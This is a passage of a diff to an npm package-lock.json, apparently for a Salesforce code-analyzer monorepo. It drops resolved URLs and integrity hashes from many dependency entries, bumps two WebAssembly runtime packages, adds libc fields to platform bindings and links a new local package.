"integrity": "sha512-p8Ug1SypcAT7Q0zZA0+7fyBmgUpB/aXkde4Bxmu0S/O4p28CVwgYvKyFd9vswmHIhFabd/QqUCrlYuVhYdr2Ew==", "license": "MIT", "dependencies": { "@sindresorhus/is": "^4", @@ -1542,8 +1497,6 @@ }, "node_modules/@jsforce/jsforce-node/node_modules/agent-base": { "version": "6.0.2", - "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", - "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", "license": "MIT", "dependencies": { "debug": "4" @@ -1554,8 +1507,6 @@ }, "node_modules/@jsforce/jsforce-node/node_modules/https-proxy-agent": { "version": "5.0.1", - "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", - "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", "license": "MIT", "dependencies": { "agent-base": "6", @@ -1567,8 +1518,6 @@ }, "node_modules/@jsonjoy.com/base64": { "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@jsonjoy.com/base64/-/base64-1.1.2.tgz", - "integrity": "sha512-q6XAnWQDIMA3+FTiOYajoYqySkO+JSat0ytXGSuRdq9uXE7o92gzuQwQM14xaCRlBLGq3v5miDGC4vkVTn54xA==", "license": "Apache-2.0", "engines": { "node": ">=10.0" @@ -1583,8 +1532,6 @@ }, "node_modules/@jsonjoy.com/buffers": { "version": "1.2.1", - "resolved": "https://registry.npmjs.org/@jsonjoy.com/buffers/-/buffers-1.2.1.tgz", - "integrity": "sha512-12cdlDwX4RUM3QxmUbVJWqZ/mrK6dFQH4Zxq6+r1YXKXYBNgZXndx2qbCJwh3+WWkCSn67IjnlG3XYTvmvYtgA==", "license": "Apache-2.0", "engines": { "node": ">=10.0" @@ -1599,8 +1546,6 @@ }, "node_modules/@jsonjoy.com/codegen": { "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@jsonjoy.com/codegen/-/codegen-1.0.0.tgz", - "integrity": "sha512-E8Oy+08cmCf0EK/NMxpaJZmOxPqM+6iSe2S4nlSBrPZOORoDJILxtbSUEDKQyTamm/BVAhIGllOBNU79/dwf0g==", "license": "Apache-2.0", "engines": { "node": ">=10.0" @@ -1615,8 +1560,6 @@ }, "node_modules/@jsonjoy.com/json-pack": { "version": "1.21.0", - "resolved": "https://registry.npmjs.org/@jsonjoy.com/json-pack/-/json-pack-1.21.0.tgz", - "integrity": "sha512-+AKG+R2cfZMShzrF2uQw34v3zbeDYUqnQ+jg7ORic3BGtfw9p/+N6RJbq/kkV8JmYZaINknaEQ2m0/f693ZPpg==", "license": "Apache-2.0", "dependencies": { "@jsonjoy.com/base64": "^1.1.2", @@ -1641,8 +1584,6 @@ }, "node_modules/@jsonjoy.com/json-pointer": { "version": "1.0.2", - "resolved": "https://registry.npmjs.org/@jsonjoy.com/json-pointer/-/json-pointer-1.0.2.tgz", - "integrity": "sha512-Fsn6wM2zlDzY1U+v4Nc8bo3bVqgfNTGcn6dMgs6FjrEnt4ZCe60o6ByKRjOGlI2gow0aE/Q41QOigdTqkyK5fg==", "license": "Apache-2.0", "dependencies": { "@jsonjoy.com/codegen": "^1.0.0", @@ -1661,8 +1602,6 @@ }, "node_modules/@jsonjoy.com/util": { "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@jsonjoy.com/util/-/util-1.9.0.tgz", - "integrity": "sha512-pLuQo+VPRnN8hfPqUTLTHk126wuYdXVxE6aDmjSeV4NCAgyxWbiOIeNJVtID3h1Vzpoi9m4jXezf73I6LgabgQ==", "license": "Apache-2.0", "dependencies": { "@jsonjoy.com/buffers": "^1.0.0", @@ -1743,21 +1682,24 @@ } }, "node_modules/@napi-rs/wasm-runtime": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-1.1.4.tgz", - "integrity": "sha512-3NQNNgA1YSlJb/kMH1ildASP9HW7/7kYnRI2szWJaofaS1hWmbGI4H+d3+22aGzXXN9IJ+n+GiFVcGipJP18ow==", + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-1.2.2.tgz", + "integrity": "sha512-JfB4kuJQjaoHuCTseIINHtHWeJnvgEcxjwA5t/Y00ZgaOO1Crz3fjT/p8kT28zA/Caz7oiUMn3d6H2yOVCVwuw==", "license": "MIT", "optional": true, "dependencies": { - "@tybys/wasm-util": "^0.10.1" + "@tybys/wasm-util": "^0.10.3" + }, + "engines": { + "node": "^20.19.0 || ^22.13.0 || >=23.5.0" }, "funding": { "type": "github", "url": "https://github.com/sponsors/Brooooooklyn" }, "peerDependencies": { - "@emnapi/core": "^1.7.1", - "@emnapi/runtime": "^1.7.1" + "@emnapi/core": "^1.7.1 || ^2.0.0-alpha.3", + "@emnapi/runtime": "^1.7.1 || ^2.0.0-alpha.3" } }, "node_modules/@nicolo-ribaudo/eslint-scope-5-internals": { @@ -1769,8 +1711,6 @@ }, "node_modules/@nodable/entities": { "version": "2.2.0", - "resolved": "https://registry.npmjs.org/@nodable/entities/-/entities-2.2.0.tgz", - "integrity": "sha512-9uGyhaQavEUMC8AIddIjau4NsnsXhou+j5sBAGojCM1oxmQpVKTWR/9JxABD6UAv12vpIms55fPZKFQEhG6uBg==", "funding": [ { "type": "github", @@ -1810,14 +1750,10 @@ }, "node_modules/@pinojs/redact": { "version": "0.4.0", - "resolved": "https://registry.npmjs.org/@pinojs/redact/-/redact-0.4.0.tgz", - "integrity": "sha512-k2ENnmBugE/rzQfEcdWHcCY+/FM3VLzH9cYEsbdsoqrvzAKRhUZeRNhAZvB8OitQJ1TBed3yqWtdjzS6wJKBwg==", "license": "MIT" }, "node_modules/@pkgjs/parseargs": { "version": "0.11.0", - "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz", - "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==", "license": "MIT", "optional": true, "engines": { @@ -1826,8 +1762,6 @@ }, "node_modules/@pkgr/core": { "version": "0.2.9", - "resolved": "https://registry.npmjs.org/@pkgr/core/-/core-0.2.9.tgz", - "integrity": "sha512-QNqXyfVS2wm9hweSYD2O7F0G06uurj9kZ96TRQE5Y9hU7+tgdZwIkbAKc5Ocy1HxEY2kuDQa6cQ1WRs/O5LFKA==", "devOptional": true, "license": "MIT", "engines": { @@ -1843,8 +1777,6 @@ }, "node_modules/@salesforce-ux/eslint-plugin-slds": { "version": "1.2.1", - "resolved": "https://registry.npmjs.org/@salesforce-ux/eslint-plugin-slds/-/eslint-plugin-slds-1.2.1.tgz", - "integrity": "sha512-DeByr0oCNnKKnDKOhHt2kzeOGgN7lf/WnD43y20YFMhN2kWZ/aDHMG2fRwWSuG4iBBjHXIGFb9SdJoN8+murOg==", "license": "ISC", "dependencies": { "@eslint/css": "^0.9.0", @@ -1913,10 +1845,12 @@ "resolved": "packages/code-analyzer-sfge-engine", "link": true }, + "node_modules/@salesforce/code-analyzer-uibundle-engine": { + "resolved": "packages/code-analyzer-uibundle-engine", + "link": true + }, "node_modules/@salesforce/core": { "version": "8.31.2", - "resolved": "https://registry.npmjs.org/@salesforce/core/-/core-8.31.2.tgz", - "integrity": "sha512-naqnq7Z+gbl1LdnyNvrGrNUoeMUQtCOsnrS6DfqeuLMJTFqcL9Dq0/od+xcuqi0+l7HTyH0/gU1BQitWpd1rag==", "license": "BSD-3-Clause", "dependencies": { "@jsforce/jsforce-node": "^3.10.13", @@ -1945,8 +1879,6 @@ }, "node_modules/@salesforce/core/node_modules/ajv": { "version": "8.18.0", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.18.0.tgz", - "integrity": "sha512-PlXPeEWMXMZ7sPYOHqmDyCJzcfNrUr3fGNKtezX14ykXOEIvyK81d+qydx89KY5O71FKMPaQ2vBfBFI5NHR63A==", "license": "MIT", "dependencies": { "fast-deep-equal": "^3.1.3", @@ -1961,8 +1893,6 @@ }, "node_modules/@salesforce/core/node_modules/fast-levenshtein": { "version": "3.0.0", - "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-3.0.0.tgz", - "integrity": "sha512-hKKNajm46uNmTlhHSyZkmToAc56uZJwYq7yrciZjqOxnlfQwERDQJmHPUp7m1m9wx8vgOe8IaCKZ5Kv2k1DdCQ==", "license": "MIT", "dependencies": { "fastest-levenshtein": "^1.0.7" @@ -1970,14 +1900,10 @@ }, "node_modules/@salesforce/core/node_modules/json-schema-traverse": { "version": "1.0.0", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", - "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", "license": "MIT" }, "node_modules/@salesforce/core/node_modules/zod": { "version": "4.3.6", - "resolved": "https://registry.npmjs.org/zod/-/zod-4.3.6.tgz", - "integrity": "sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg==", "license": "MIT", "funding": { "url": "https://github.com/sponsors/colinhacks" @@ -1996,8 +1922,6 @@ }, "node_modules/@salesforce/kit": { "version": "3.2.6", - "resolved": "https://registry.npmjs.org/@salesforce/kit/-/kit-3.2.6.tgz", - "integrity": "sha512-O8S4LWerHa9Zosqh+IoQjgLtpxMOfObRxaRnUdRV4MLtFUi+bQxQiyFvve6eEaBaMP1b1xVDQpvSvQ+PXEDGFQ==", "license": "Apache-2.0", "dependencies": { "@salesforce/ts-types": "^2.0.12" @@ -2005,8 +1929,6 @@ }, "node_modules/@salesforce/ts-types": { "version": "2.0.12", - "resolved": "https://registry.npmjs.org/@salesforce/ts-types/-/ts-types-2.0.12.tgz", - "integrity": "sha512-BIJyduJC18Kc8z+arUm5AZ9VkPRyw1KKAm+Tk+9LT99eOzhNilyfKzhZ4t+tG2lIGgnJpmytZfVDZ0e2kFul8g==", "license": "BSD-3-Clause", "engines": { "node": ">=18.0.0" @@ -2014,15 +1936,11 @@ }, "node_modules/@sinclair/typebox": { "version": "0.34.49", - "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.34.49.tgz", - "integrity": "sha512-brySQQs7Jtn0joV8Xh9ZV/hZb9Ozb0pmazDIASBkYKCjXrXU3mpcFahmK/z4YDhGkQvP9mWJbVyahdtU5wQA+A==", "devOptional": true, "license": "MIT" }, "node_modules/@sindresorhus/is": { "version": "4.6.0", - "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-4.6.0.tgz", - "integrity": "sha512-t09vSN3MdfsyCHoFcTRCH/iUtG7OJ0CsjzB8cjAmKc/va/kIgeDI/TxsigdncE/4be734m0cvIYwNaV4i2XqAw==", "license": "MIT", "engines": { "node": ">=10" @@ -2033,8 +1951,6 @@ }, "node_modules/@sinonjs/commons": { "version": "3.0.1", - "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-3.0.1.tgz", - "integrity": "sha512-K3mCHKQ9sVh8o1C9cxkwxaOmXoAMlDxC1mYyHrjqOWEcBjYr76t96zL2zlj5dUGZ3HSw240X1qgH3Mjf1yJWpQ==", "devOptional": true, "license": "BSD-3-Clause", "dependencies": { @@ -2043,8 +1959,6 @@ }, "node_modules/@sinonjs/fake-timers": { "version": "15.4.0", - "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-15.4.0.tgz", - "integrity": "sha512-DsG+8/LscQIQg68J6Ef3dv10u6nVyetYn923s3/sus5eaGfTo1of5WMZSLf0UJc9KDuKPilPH0UDJCjvNbDNCA==", "devOptional": true, "license": "BSD-3-Clause", "dependencies": { @@ -2056,9 +1970,9 @@ "license": "MIT" }, "node_modules/@tybys/wasm-util": { - "version": "0.10.2", - "resolved": "https://registry.npmjs.org/@tybys/wasm-util/-/wasm-util-0.10.2.tgz", - "integrity": "sha512-RoBvJ2X0wuKlWFIjrwffGw1IqZHKQqzIchKaadZZfnNpsAYp2mM0h36JtPCjNDAHGgYez/15uMBpfGwchhiMgg==", + "version": "0.10.3", + "resolved": "https://registry.npmjs.org/@tybys/wasm-util/-/wasm-util-0.10.3.tgz", + "integrity": "sha512-F3fo1MYrRJYL3zER0OUOmkutjr1Vp23m7OsSgp7nq4SP6OqX6C/56XFIPAl5bt3zaBRjmW7SGz3u/6LwFpYcOg==", "license": "MIT", "optional": true, "dependencies": { @@ -2067,8 +1981,6 @@ }, "node_modules/@types/archiver": { "version": "6.0.4", - "resolved": "https://registry.npmjs.org/@types/archiver/-/archiver-6.0.4.tgz", - "integrity": "sha512-ULdQpARQ3sz9WH4nb98mJDYA0ft2A8C4f4fovvUcFwINa1cgGjY36JCAYuP5YypRq4mco1lJp1/7jEMS2oR0Hg==", "dev": true, "license": "MIT", "dependencies": { @@ -2077,8 +1989,6 @@ }, "node_modules/@types/babel__core": { "version": "7.20.5", - "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz", - "integrity": "sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==", "devOptional": true, "license": "MIT", "dependencies": { @@ -2091,8 +2001,6 @@ }, "node_modules/@types/babel__generator": { "version": "7.27.0", - "resolved": "https://registry.npmjs.org/@types/babel__generator/-/babel__generator-7.27.0.tgz", - "integrity": "sha512-ufFd2Xi92OAVPYsy+P4n7/U7e68fex0+Ee8gSG9KX7eo084CWiQ4sdxktvdl0bOPupXtVJPY19zk6EwWqUQ8lg==", "devOptional": true, "license": "MIT", "dependencies": { @@ -2101,8 +2009,6 @@ }, "node_modules/@types/babel__template": { "version": "7.4.4", - "resolved": "https://registry.npmjs.org/@types/babel__template/-/babel__template-7.4.4.tgz", - "integrity": "sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==", "devOptional": true, "license": "MIT", "dependencies": { @@ -2112,8 +2018,6 @@ }, "node_modules/@types/babel__traverse": { "version": "7.28.0", - "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.28.0.tgz", - "integrity": "sha512-8PvcXf70gTDZBgt9ptxJ8elBeBjcLOAcOtoO/mPJjtji1+CdGbHgm77om1GrsPxsiE+uXIpNSK64UYaIwQXd4Q==", "devOptional": true, "license": "MIT", "dependencies": { @@ -2178,8 +2082,6 @@ }, "node_modules/@types/node": { "version": "20.19.39", - "resolved": "https://registry.npmjs.org/@types/node/-/node-20.19.39.tgz", - "integrity": "sha512-orrrD74MBUyK8jOAD/r0+lfa1I2MO6I+vAkmAWzMYbCcgrN4lCrmK52gRFQq/JRxfYPfonkr4b0jcY7Olqdqbw==", "license": "MIT", "dependencies": { "undici-types": "~6.21.0" @@ -2187,8 +2089,6 @@ }, "node_modules/@types/readdir-glob": { "version": "1.1.5", - "resolved": "https://registry.npmjs.org/@types/readdir-glob/-/readdir-glob-1.1.5.tgz", - "integrity": "sha512-raiuEPUYqXu+nvtY2Pe8s8FEmZ3x5yAH4VkLdihcPdalvsHltomrRC9BzuStrJ9yk06470hS0Crw0f1pXqD+Hg==", "dev": true, "license": "MIT", "dependencies": { @@ -2232,8 +2132,6 @@ }, "node_modules/@typescript-eslint/eslint-plugin": { "version": "8.65.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.65.0.tgz", - "integrity": "sha512-IEgob78X12rHpUmtcwFsXhZdVGJtwTVP8FiCLZkR6GlYVrl2PcuB+KhCE5BlVC/eQpQnu8WXRtkHZuPar+gCRA==", "license": "MIT", "dependencies": { "@eslint-community/regexpp": "^4.12.2", @@ -2260,8 +2158,6 @@ }, "node_modules/@typescript-eslint/parser": { "version": "8.65.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.65.0.tgz", - "integrity": "sha512-CZ4nMxWwgu1HEEFNkeaCptra9QCtkmKdgf3sWh1rl1trIhmxLilgTV4cwcbQ4wemnT4sWQN8CaKOmdYx+g2gMA==", "license": "MIT", "dependencies": { "@typescript-eslint/scope-manager": "8.65.0", @@ -2284,8 +2180,6 @@ }, "node_modules/@typescript-eslint/project-service": { "version": "8.65.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.65.0.tgz", - "integrity": "sha512-SxnPhbTsGahizDgbu7oqFH/xVtzIqMd/s+WtnSxNxJZJpLbdT5IPdzg8EZxO3+PoKahXmwJLeNQOpKJb3/bi7Q==", "license": "MIT", "dependencies": { "@typescript-eslint/tsconfig-utils": "^8.65.0", @@ -2305,8 +2199,6 @@ }, "node_modules/@typescript-eslint/scope-manager": { "version": "8.65.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.65.0.tgz", - "integrity": "sha512-Esbl8OSYiVxBokYgWPf7VVWg/BE798wXhimnn9ML9Pt5qoDf8bfQlgjlKXR/k98+AcNzlLKYrpCcrcuZ9DZLgg==", "license": "MIT", "dependencies": { "@typescript-eslint/types": "8.65.0", @@ -2322,8 +2214,6 @@ }, "node_modules/@typescript-eslint/tsconfig-utils": { "version": "8.65.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.65.0.tgz", - "integrity": "sha512-j6GzGqCiRdA7Qhur2VVmKZAkBLfnHFQfx4TaJGL9RMveZqCo48jSHHO0DTgizEnGhtWnqmbtCUSrqSkdiY/0Hg==", "license": "MIT", "engines": { "node": "^18.18.0 || ^20.9.0 || >=21.1.0" @@ -2338,8 +2228,6 @@ }, "node_modules/@typescript-eslint/type-utils": { "version": "8.65.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.65.0.tgz", - "integrity": "sha512-YjaZ7PRI5qY7ax2L3PbvX0rRyGtipAReCWs0mhhDBHjH/vl0g0BonaGXrKdKpMbIIsMIwDgbk/xzkBTyAltS5g==", "license": "MIT", "dependencies": { "@typescript-eslint/types": "8.65.0", @@ -2362,8 +2250,6 @@ }, "node_modules/@typescript-eslint/types": { "version": "8.65.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.65.0.tgz", - "integrity": "sha512-JSSwWNy+H0E/01jJEM+hrX6N0OFDzFzeIhHFSAS01tlVaevpG8cFyYRPhS5yjGOvBUx3sqQHVMjCL1CAZZMxBg==", "license": "MIT", "engines": { "node": "^18.18.0 || ^20.9.0 || >=21.1.0" @@ -2375,8 +2261,6 @@ }, "node_modules/@typescript-eslint/typescript-estree": { "version": "8.65.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.65.0.tgz", - "integrity": "sha512-JboAE2swaYt4tb1fHhHTABE2K+OLy09XfcTbhnk4Pw96f9dd2e9iYsJ28gBggHlo5z5x1rkyWvcPoTuNTd4oGg==", "license": "MIT", "dependencies": { "@typescript-eslint/project-service": "8.65.0", @@ -2402,8 +2286,6 @@ }, "node_modules/@typescript-eslint/typescript-estree/node_modules/balanced-match": { "version": "4.0.4", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-4.0.4.tgz", - "integrity": "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA==", "license": "MIT", "engines": { "node": "18 || 20 || >=22" @@ -2411,8 +2293,6 @@ }, "node_modules/@typescript-eslint/typescript-estree/node_modules/brace-expansion": { "version": "5.0.8", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-5.0.8.tgz", - "integrity": "sha512-JZyDyq3D4AUifKTPOB7DELf6XsB3WdPuNxCtob1vFXPsSXhdAiHBWJ/tJ8HAc9aH84BK+5JFZLNkJKx3G9kzQg==", "license": "MIT", "dependencies": { "balanced-match": "^4.0.2" @@ -2423,8 +2303,6 @@ }, "node_modules/@typescript-eslint/typescript-estree/node_modules/minimatch": { "version": "10.2.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.2.5.tgz", - "integrity": "sha512-MULkVLfKGYDFYejP07QOurDLLQpcjk7Fw+7jXS2R2czRQzR56yHRveU5NDJEOviH+hETZKSkIk5c+T23GjFUMg==", "license": "BlueOak-1.0.0", "dependencies": { "brace-expansion": "^5.0.5" @@ -2438,8 +2316,6 @@ }, "node_modules/@typescript-eslint/utils": { "version": "8.65.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.65.0.tgz", - "integrity": "sha512-gXiwIHsYreboxeJucHKPvgwl7dXt50mF8s1/c00cP/WoVTyWKFdtfhRWwZiXYFU5H2O8vVoSLNrexFZjYS/SGA==", "license": "MIT", "dependencies": { "@eslint-community/eslint-utils": "^4.9.1", @@ -2461,8 +2337,6 @@ }, "node_modules/@typescript-eslint/visitor-keys": { "version": "8.65.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.65.0.tgz", - "integrity": "sha512-8C71BQkGjiMmXtop7pHVJu1l2NNShFdkCyD6a2ezzs5vU/L3LRtb69EtcteFwz0mYMPzIgOw0n6OV4VBUWZd7A==", "license": "MIT", "dependencies": { "@typescript-eslint/types": "8.65.0", @@ -2478,8 +2352,6 @@ }, "node_modules/@typescript-eslint/visitor-keys/node_modules/eslint-visitor-keys": { "version": "5.0.1", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-5.0.1.tgz", - "integrity": "sha512-tD40eHxA35h0PEIZNeIjkHoDR4YjjJp34biM0mDvplBe//mB+IHCqHDGV7pxF+7MklTvighcCPPZC7ynWyjdTA==", "license": "Apache-2.0", "engines": { "node": "^20.19.0 || ^22.13.0 || >=24" @@ -2520,8 +2392,6 @@ }, "node_modules/@unrs/resolver-binding-darwin-arm64": { "version": "1.12.2", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-darwin-arm64/-/resolver-binding-darwin-arm64-1.12.2.tgz", - "integrity": "sha512-u9DiNT1auQMO20A9SyTuG3wUgQWB9Z7KjAg0uFuCDR1FsAY8A0CG2S6JpHS1xwm/w1G08bjXZDcyOCjv1WAm2w==", "cpu": [ "arm64" ], @@ -2590,6 +2460,9 @@ "cpu": [ "arm64" ], + "libc": [ + "glibc" + ], "license": "MIT", "optional": true, "os": [ @@ -2603,6 +2476,9 @@ "cpu": [ "arm64" ], + "libc": [ + "musl" + ], "license": "MIT", "optional": true, "os": [ @@ -2616,6 +2492,9 @@ "cpu": [ "loong64" ], + "libc": [ + "glibc" + ], "license": "MIT", "optional": true, "os": [ @@ -2629,6 +2508,9 @@ "cpu": [ "loong64" ], + "libc": [ + "musl" + ], "license": "MIT", "optional": true, "os": [ @@ -2642,6 +2524,9 @@ "cpu": [ "ppc64" ], + "libc": [ + "glibc" + ], "license": "MIT", "optional": true, "os": [ @@ -2655,6 +2540,9 @@ "cpu": [ "riscv64" ], + "libc": [ + "glibc" + ], "license": "MIT", "optional": true, "os": [ @@ -2668,6 +2556,9 @@ "cpu": [ "riscv64" ], + "libc": [ + "musl" + ], "license": "MIT", "optional": true, "os": [ @@ -2681,6 +2572,9 @@ "cpu": [ "s390x" ], + "libc": [ + "glibc" + ], "license": "MIT", "optional": true, "os": [ @@ -2694,6 +2588,9 @@ "cpu": [ "x64" ], + "libc": [ + "glibc" + ], "license": "MIT", "optional": true, "os": [ @@ -2707,6 +2604,9 @@ "cpu": [ "x64" ], + "libc": [ + "musl" + ], "license": "MIT", "optional": true, "os": [ @@ -2785,8 +2685,6 @@ }, "node_modules/abort-controller": { "version": "3.0.0", - "resolved": "https://registry.npmjs.org/abort-controller/-/abort-controller-3.0.0.tgz", - "integrity": "sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==", "license": "MIT", "dependencies": { "event-target-shim": "^5.0.0" @@ -2821,8 +2719,6 @@ }, "node_modules/ajv": { "version": "6.14.0", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.14.0.tgz", - "integrity": "sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw==", "license": "MIT", "dependencies": { "fast-deep-equal": "^3.1.1", @@ -2844,8 +2740,6 @@ }, "node_modules/ansi-escapes": { "version": "4.3.2", - "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz", - "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==", "devOptional": true, "license": "MIT", "dependencies": { @@ -2892,8 +2786,6 @@ }, "node_modules/anynum": { "version": "1.0.1", - "resolved": "https://registry.npmjs.org/anynum/-/anynum-1.0.1.tgz", - "integrity": "sha512-N6//FLET/tXYNM/F6ABca1oH6fWB+KlTt909Le28WMDBk8oaT4vY17DCrwg2MvmuqUKt3Ni4N5dGJ/EoBgcO6A==", "funding": [ { "type": "github", @@ -2904,8 +2796,6 @@ }, "node_modules/archiver": { "version": "7.0.1", - "resolved": "https://registry.npmjs.org/archiver/-/archiver-7.0.1.tgz", - "integrity": "sha512-ZcbTaIqJOfCc03QwD468Unz/5Ir8ATtvAHsK+FdXbDIbGfihqh9mrvdcYunQzqn4HrvWWaFyaxJhGZagaJJpPQ==", "license": "MIT", "dependencies": { "archiver-utils": "^5.0.2", @@ -2922,8 +2812,6 @@ }, "node_modules/archiver-utils": { "version": "5.0.2", - "resolved": "https://registry.npmjs.org/archiver-utils/-/archiver-utils-5.0.2.tgz", - "integrity": "sha512-wuLJMmIBQYCsGZgYLTy5FIB2pF6Lfb6cXMSF8Qywwk3t20zWnAi7zLcQFdKQmIB8wyZpY5ER38x08GbwtR2cLA==", "license": "MIT", "dependencies": { "glob": "^10.0.0", @@ -2940,8 +2828,6 @@ }, "node_modules/archiver-utils/node_modules/readable-stream": { "version": "4.7.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.7.0.tgz", - "integrity": "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==", "license": "MIT", "dependencies": { "abort-controller": "^3.0.0", @@ -2956,8 +2842,6 @@ }, "node_modules/archiver-utils/node_modules/safe-buffer": { "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", "funding": [ { "type": "github", @@ -2976,8 +2860,6 @@ }, "node_modules/archiver-utils/node_modules/string_decoder": { "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", "license": "MIT", "dependencies": { "safe-buffer": "~5.2.0" @@ -2985,8 +2867,6 @@ }, "node_modules/archiver/node_modules/readable-stream": { "version": "4.7.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.7.0.tgz", - "integrity": "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==", "license": "MIT", "dependencies": { "abort-controller": "^3.0.0", @@ -3001,8 +2881,6 @@ }, "node_modules/archiver/node_modules/safe-buffer": { "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", "funding": [ { "type": "github", @@ -3021,8 +2899,6 @@ }, "node_modules/archiver/node_modules/string_decoder": { "version": "1.3.0", - "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", - "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", "license": "MIT", "dependencies": { "safe-buffer": "~5.2.0" @@ -3177,8 +3053,6 @@ }, "node_modules/asap": { "version": "2.0.6", - "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz", - "integrity": "sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==", "license": "MIT" }, "node_modules/ast-types": { @@ -3204,8 +3078,6 @@ }, "node_modules/async": { "version": "3.2.6", - "resolved": "https://registry.npmjs.org/async/-/async-3.2.6.tgz", - "integrity": 